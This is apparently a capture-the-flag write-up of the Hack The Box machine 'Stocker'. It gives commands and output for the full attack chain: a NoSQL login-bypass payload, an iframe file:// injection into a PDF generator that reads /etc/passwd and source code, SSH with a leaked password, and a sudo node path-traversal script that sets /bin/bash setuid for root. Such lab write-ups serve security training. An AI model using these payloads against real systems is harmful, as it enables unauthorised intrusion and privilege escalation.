HTB Stocker Write-Up

Pawned: 17/02/23
Tags: Vhost Sub-domain Scanning, BurpSuite Repeater, json Injection, SKia/PDF Vulnerability, LFI, Malicious script, Path Traversal

Enumeration
First, as always, we use an nmap version and script scan to start off the enumeration.

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ nmap -sV -sC 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-21 19:59 AEDT
Nmap scan report for 10.10.11.196
Host is up (0.064s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds

We can see that port 80 is open, so we can navigate to http://10.10.11.196. This IP address tries to redirect us to http://stocker.htb. However, since the box is locally hosted, there is no DNS resolver, so the redirect fails. We can manually resolve the IP address by doing to following:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ echo "10.10.11.196 stocker.htb" | sudo tee -a /etc/hosts
10.10.11.196 stocker.htb

This allows us to visit the webpage where we see a 'stock' website.

Digging around the website and in the source code, we don't find anything, nor is there anywhere to inject code. So we'll have to enumerate further.
Running a directory scan turns up a few sub-directories:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ gobuster dir -u http://10.10.10.196/ -w /usr/share/dirb/wordlists/common.txt -t 2000
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb/
[+] Method: GET
[+] Threads: 2000
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/23 10:35:43 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://stocker.htb/img/]
/css (Status: 301) [Size: 178] [--> http://stocker.htb/css/]
/index.html (Status: 200) [Size: 15463]
/js (Status: 301) [Size: 178] [--> http://stocker.htb/js/]
/favicon.ico (Status: 200) [Size: 1150]
/fonts (Status: 301) [Size: 178] [--> http://stocker.htb/fonts/]
===============================================================
2023/02/23 10:35:49 Finished
===============================================================

However, none of these leads us anywhere. We could keep trying to scan directories using different and bigger wordlists, but next, let's try a vhost sub-domain scan:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ gobuster vhost -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://stocker.htb/ -t 2000 --append-domain
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://stocker.htb/
[+] Method: GET
[+] Threads: 2000
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/02/23 10:39:30 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
===============================================================
2023/02/23 10:39:34 Finished
===============================================================

From the scan, we can see that there is at least one sub-domain: dev.stocker.htb.
To visit the webpage, we must manually resolve the IP address again.

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ echo "10.10.11.196 dev.stocker.htb" | sudo tee -a /etc/hosts
10.10.11.196 dev.stocker.htb

Visiting the site, we see a login screen.


Initial Foothold
Let's intercept the web requests using BurpSuite and try some code injection in Repeater.
Failed attempts give us this response:

However, if we change the "Content-Type" from "application/x-www-form-urlencoded" to "application/json", we can change the request:
username=******&password==******, into the json equivalent: {"username":"=******","password":"=******"}.
This allows us to do the following injection: {"username":{"$ne":""},"password":{"$ne":""}}.
This request gives us a different response on Repeater.

If we forward this request, we get redirected to dev.stocker.htb/stock. Here, we see a page where we can add items to a cart and print an order summary PDF:

Let's download an order summary and inspect it using exiftool:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ exiftool document.pdf
ExifTool Version Number : 12.55
File Name : document.pdf
Directory : .
File Size : 40 kB
File Modification Date/Time : 2023:02:17 11:17:38+11:00
File Access Date/Time : 2023:02:23 10:30:34+11:00
File Inode Change Date/Time : 2023:02:18 19:57:13+11:00
File Permissions : -rwxrw-rw-
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:02:17 00:17:27+00:00
Modify Date : 2023:02:17 00:17:27+00:00

From this, we can see that the PDF is produced by Skia/PDF m108. A quick Google search reveals that this version of the tool is vulnerable to XSS (cross-site scripting) to SSRF (server-side request forgery). (CVE-2021-23639)
Information on how to exploit this was found on HackTricks.xyz.

Let's intercept requests with BurpSuite again:

In the order summary printing request, we see this line of json: "title":"Bin". We can change this to the following:

"title":"<iframe src=file:///etc/passwd height = 1000px width=1000px></iframe>"

The above request fetches the "passwd" file and increases the size of the frame so that the whole file is readable.
Inside the "passwd" file, we find a username, "angoose":

Next, we'll change the request again, this time fetching "index.js":

"title":"<iframe src=file:///var/www/dev/index.js height = 1000px width=1000px></iframe>"

Inside "index.js" we find a password, "IHeardPassphrasesArePrettySecure":

Since we have a username and password, we can ssh into the machine:

┌──(vin36㉿kaliVM)-[~/Desktop/HTB]
└─$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password: IHeardPassphrasesArePrettySecure
Last login: Wed Feb 22 08:17:04 2023 from 10.10.16.10
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)

Now that we are logged in as angoose and in their home folder, we can get the user flag. Note that the flags get randomized periodically.

angoose@stocker:~$ cat user.txt
e3250ba969f28c5b2d554594f73c3959

Privilege Escalation
First, we'll run sudo -l to see what privileges our current user, angoose, has.

angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
 env_reset, mail_badpass,  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js

As we can see, angoose can use node to run any javascript file in "/usr/local/scripts".

To exploit this, let's navigate to "/tmp" where we can create a malicious javascript file called "escalate.js":

angoose@stocker:~$ cd /tmp
angoose@stocker:/tmp$ nano escalate.js

Inside this file, we'll write a function that executes a command that allows angoose to run "/bin/bash" as "root":

const { exec } = require("child_process");

exec("chmod u+s /bin/bash", (error, stdout, stderr) => {
    if (error) console.log(`error: ${error.message}`);
    if (stderr) console.log(`stderr: ${stderr}`);
    if (stdout) console.log(`stdout: ${stdout}`);
    return;
});

To run this file, we need to traverse the directory from "/usr/local/scripts/" to "/tmp". After doing so, we'll use ls -al to check if "/bin/bash" was successfully modified into an executable with root permissions. These two steps are shown below:

angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/escalate.js
angoose@stocker:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash

Next, we'll run /bin/bash -p where the -p flag allows us to run the command as a user whose id is not equal to our own:

angoose@stocker:/tmp$ /bin/bash -p
bash-5.0# id
uid=1001(angoose) gid=1001(angoose) euid=0(root) groups=1001(angoose)

Running id, we can see that we have an "euid" (effective user ID) of "root". So now all we have to do is grab the root flag located in "/root/root.txt":

bash-5.0# cat /root/root.txt
366c5402a7378f905f561b5d92a45ab7

Thus, we have successfully hacked the box, but we must remember to clean up after ourselves.

bash-5.0# rm /tmp/escalate.js